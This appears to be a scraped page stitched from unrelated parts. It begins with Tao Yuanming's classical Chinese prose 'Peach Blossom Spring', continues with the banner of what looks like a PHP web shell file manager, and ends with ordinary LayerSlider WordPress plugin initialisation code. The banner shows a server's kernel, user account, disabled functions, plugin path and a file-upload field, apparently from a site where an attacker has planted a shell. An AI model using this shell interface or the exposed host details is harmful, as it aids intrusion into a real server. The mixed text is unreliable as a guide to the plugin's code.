晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/stando/www/wp-content/plugins/LayerSlider/assets/ |
Upload File : |
<?php
// Prevent direct file access.
defined( 'LS_ROOT_FILE' ) || exit;
// Path info
// v6.2.0: LS_ROOT_URL is now set in the after_setup_theme action
// hook to provide a way for theme authors to override its value
define('LS_ROOT_PATH', __DIR__);
define('LS_DB_TABLE', 'layerslider');
define('LS_PLUGIN_SLUG', basename( dirname( LS_ROOT_FILE ) ) );
define('LS_PLUGIN_BASE', plugin_basename( LS_ROOT_FILE ) );
define('LS_MARKETPLACE_ID', '1362246');
define('LS_TEXTDOMAIN', 'LayerSlider');
define('LS_REPO_BASE_URL', 'https://repository.kreaturamedia.com/v4/');
if( ! defined('NL') ) { define('NL', "\r\n"); }
if( ! defined('TAB') ) { define('TAB', "\t"); }
if( ! defined('DAY_IN_SECONDS') ) { define( 'DAY_IN_SECONDS', 24 * 3600 ); }
if( ! defined('MONTH_IN_SECONDS') ) { define('MONTH_IN_SECONDS', ''); }
// Load & initialize plugin config class
include LS_ROOT_PATH.'/classes/class.ls.config.php';
LS_Config::init();
// Shared
include LS_ROOT_PATH.'/wp/compatibility.php';
include LS_ROOT_PATH.'/wp/scripts.php';
include LS_ROOT_PATH.'/wp/menus.php';
include LS_ROOT_PATH.'/wp/hooks.php';
include LS_ROOT_PATH.'/wp/widgets.php';
include LS_ROOT_PATH.'/wp/shortcodes.php';
include LS_ROOT_PATH.'/includes/slider_utils.php';
include LS_ROOT_PATH.'/classes/class.ls.modulemanager.php';
include LS_ROOT_PATH.'/classes/class.ls.posts.php';
include LS_ROOT_PATH.'/classes/class.ls.sliders.php';
include LS_ROOT_PATH.'/classes/class.ls.sources.php';
include LS_ROOT_PATH.'/classes/class.ls.popups.php';
if( get_option('ls_elementor_widget', true ) ) {
include LS_ROOT_PATH.'/classes/class.ls.elementor.php';
}
// Back-end only
if( is_admin() ) {
include LS_ROOT_PATH.'/wp/actions.php';
include LS_ROOT_PATH.'/wp/activation.php';
include LS_ROOT_PATH.'/wp/notices.php';
include LS_ROOT_PATH.'/classes/class.ls.revisions.php';
if( get_option('ls_tinymce_helper', true ) ) {
include LS_ROOT_PATH.'/wp/tinymce.php';
}
LS_Revisions::init();
}
if( ! class_exists('KM_PluginUpdatesV3') ) {
require_once LS_ROOT_PATH.'/classes/class.km.autoupdate.plugins.v3.php';
}
// Register [layerslider] shortcode
LS_Shortcode::registerShortcode();
// Add default skins.
// Reads all sub-directories (individual skins) from the given path.
LS_Sources::addSkins(LS_ROOT_PATH.'/static/layerslider/skins/');
// Popup
LS_Popups::init();
// Setup auto updates. This class also has additional features for
// non-activated sites such as fetching update info.
$GLOBALS['LS_AutoUpdate'] = new KM_PluginUpdatesV3( array(
'name' => 'LayerSlider WP',
'repoUrl' => LS_REPO_BASE_URL,
'root' => LS_ROOT_FILE,
'version' => LS_PLUGIN_VERSION,
'itemID' => LS_MARKETPLACE_ID,
'codeKey' => 'layerslider-purchase-code',
'authKey' => 'layerslider-authorized-site',
'channelKey' => 'layerslider-release-channel',
'activationKey' => 'layerslider-activation-id'
));
// Load locales
add_action('plugins_loaded', function() {
load_plugin_textdomain('LayerSlider', false, LS_PLUGIN_SLUG . '/assets/locales/' );
});
// Override locale?
$custom_locale = get_option('ls_custom_locale', 'auto' );
if( ! empty( $custom_locale ) && $custom_locale !== 'auto' ) {
add_filter('plugin_locale', function( $locale, $domain ) use ( $custom_locale ) {
if( $domain === 'LayerSlider') {
$locale = $custom_locale;
}
return $locale;
}, 10, 2);
}
// Offering a way for authors to override LayerSlider resources by
// triggering filter and action hooks after the theme has loaded.
add_action('after_setup_theme', function() {
// Set the LS_ROOT_URL constant
$url = apply_filters('layerslider_root_url', plugins_url('', LS_ROOT_FILE));
$url = $url . '/assets';
define('LS_ROOT_URL', $url);
// Trigger the layerslider_ready action hook
layerslider_loaded();
// Backwards compatibility for theme authors
LS_Config::checkCompatibility();
});
// Sets up LayerSlider as theme-bundled version by
// disabling certain features and hiding premium notices.
function layerslider_set_as_theme() {
LS_Config::setAsTheme();
}
function layerslider_hide_promotions() {
LS_Config::set('promotions', false);
}